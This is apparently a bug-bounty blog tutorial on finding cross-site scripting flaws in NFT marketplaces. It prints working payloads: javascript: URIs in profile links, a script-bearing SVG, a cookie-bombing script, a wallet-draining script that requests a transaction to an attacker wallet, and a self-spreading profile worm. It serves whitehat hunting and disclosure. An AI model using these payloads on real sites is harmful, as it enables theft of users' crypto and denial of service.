How To Find XSS Vulnerabilities In NFT Marketplaces

Immunefi
Immunefi
Published in
5 min readMay 17, 2023

--

Introduction

When most people think about web3 security, they think about smart contracts holding hundreds of millions of dollars of funds. But web3 security is much broader than that. In this article, we’re going to talk about the intersection between web2 and web3 in NFT marketplaces, and how you can find Cross-Site Scripting (XSS) vulnerabilities to get big bounty rewards.

What Is An NFT?

Let’s start with the absolute basics. What is an NFT? A Non-Fungible Token (NFT) is a cryptographic asset stored in the blockchain with unique metadata. Most are familiar with the common NFT use case of digital art, which is represented in famous collections like the Bored Ape Yacht Club.

What Is Cross-Site Scripting?

Cross-site Scripting (XSS) is a dangerous type of attack that allows an attacker to execute malicious JavaScript on the victim’s browser. This occurs when user input is reflected in the source code without proper sanitization. Through XSS, an attacker can bypass the same-origin policy protection to perform various malicious actions, such as stealing cookies or sending requests on behalf of the victim.

XSS In NFT Marketplaces

An NFT marketplace (like OpenSea, Rarible, SuperRare, Foundation, etc.) is an online platform that allows users to buy and sell their digital assets. Most marketplaces allow users to create profiles with social media links, and these fields are usually prone to XSS, due to improper URL validation.

This means that a malicious actor could set social media links to a JavaScript URI that can execute malicious scripts, such as Javascript:alert(document.domain).

Let’s start with one easy example of where this can come into play. Sometimes, in social media fields, NFT marketplaces only require the user’s Twitter username, as they append https://twitter.com/ before the user input.

Don’t let the UI scare you into thinking they’ve blocked all attack vectors here. For example, it’s possible that the application might be only validating the input on the client side.

Check out the following request from the above scenario:

In fact, what we discover is that the HTTP parameter for Twitter contains a value of http://twitter.com/<user-input>, making it possible for the entire URL to be replaced with a JavaScript URI, which could be used to execute the malicious JavaScript on the user’s browser.

XSS with SVGs

Another way NFT marketplaces can be vulnerable to XSS attacks is when SVG image files are used as NFT assets or profile avatars. This is because SVG files can include embedded JavaScript, using the <script> tag, that can be executed on a victim’s browser.

<svg version=”1.1" id=”loader-1" xmlns=”http://www.w3.org/2000/svg" xmlns:xlink=”http://www.w3.org/1999/xlink" x=”0px” y=”0px”
width=”40px” height=”40px” viewBox=”0 0 50 50" style=”enable-background:new 0 0 50 50;” xml:space=”preserve”>
<script>alert(document.domain)</script>
</svg>

In some cases, the platform may use third-party services to serve the assets, such as an AWS S3 bucket and Pinata, which reduces the impact of XSS because the attacker may be unable to access or modify the content on the NFT platform, due to the same-origin policy.

To demonstrate an impact on an in-scope asset, you can perform a cookie bombing attack, which is rated as a low severity bug, as per the Immunefi Severity Classification system 2.3.

var base_domain = “.vulnerable.tld”;
var pollution = Array(4000).join(‘a’); for(var i=1;i<99;i++) {document.cookie=’bomb’+i+’=’+pollution+’;Domain=’+base_domain+’;Path=/’; }

The above script will send large amounts of cookies to make the s3 bucket unavailable to users until they manually remove the cookies. This attack vector would prevent the browser from displaying the NFTs images to the victim on the platform.

We strongly encourage you to read each bug bounty program’s policy before conducting such an attack vector to ensure that the project allows you to exploit a vulnerability in an out-of-scope asset to demonstrate its impact on an in-scope asset. As always, the bug bounty program is law. Always read it before hunting.

Impact

At Immunefi, we receive XSS reports daily; however, most of the reports include the demonstration of web2 attack vectors, such as stealing cookies or PII (email address). Unlike web2, however, web3 authenticates and identifies users using their crypto wallet rather than their email address, which is public information.

We want to support the efforts of the web2 bug bounty community to make the web3 space more secure, so we’ve gathered two amazing proofs of concept to demonstrate possible XSS impacts on NFT platforms.

Malicious transaction via DeFi wallet

ethereum

.request({ method: ‘eth_requestAccounts’ })
.then(getAccount)
.catch((err) => {
console.error(err);
});

function getAccount(accounts) {

const account = accounts[0];
send(account)
}

function send(account) {

ethereum
.request({
method: ‘eth_sendTransaction’,
params: [

{

from: account,
to: ‘<ATTACKER-WALLET>’,
value: ‘0x29a2241af62c0000’,
gasPrice: ‘0x09184e72a000’,
gas: ‘0x2710’,
},
],
})
.then((txHash) => console.log(txHash))
.catch((error) => console.error);
}

The above script initiates a transaction request to the attacker-controlled wallet on the victim’s crypto wallet (e.g. MetaMask).

Wormable XSS

The XSS worm, also known as the XSS virus, is a method of spreading an XSS attack from one user to another. For example, if user A’s social media link is set to the payload containing the following JavaScript and user B clicks on it, the crafted malicious payload will set user B’s social media link to the XSS payload.

const xhr = new XMLHttpRequest();
const url = “http://vulnerable.tld/profile";
xhr.open(“POST”, url);
xhr.setRequestHeader(“Content-Type”, “application/json”);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
console.log(xhr.status);
console.log(xhr.responseText);
}
};

const data = {
“twitter”: “javascript:alert(document.domain)”

};

xhr.send(JSON.stringify(data));

Conclusion

Most web2 vulnerabilities, such as XSS, are often underestimated in web3 because they require user interaction. However, if these vulnerabilities can be properly demonstrated and shown to have a significant impact, they could result in a high severity payout on Immunefi.

It’s important to note that XSS is not limited to social media links or uploaded files. Anywhere user input is reflected in the application response where the MIME type is text/html could potentially be vulnerable to XSS. For example, on search functionality, user input is reflected in the source code, and if it’s not properly sanitized, an attacker could inject JavaScript.

When testing for XSS, avoid simply copy-pasting payloads because some applications may have blacklisted known XSS payloads or may use firewalls such as Cloudflare to block specific keywords. Instead, examine how the <, , or > characters are reflected in the source code and craft the payload accordingly.

With this article, we hope to encourage web2 and web3 whitehats to examine web2 attack vectors that actually make a difference in web3.

Happy hunting, and see you on the leaderboard.

--

--

Immunefi
Immunefi

Immunefi is the premier bug bounty platform for smart contracts, where hackers review code, disclose vulnerabilities, get paid, and make crypto safer.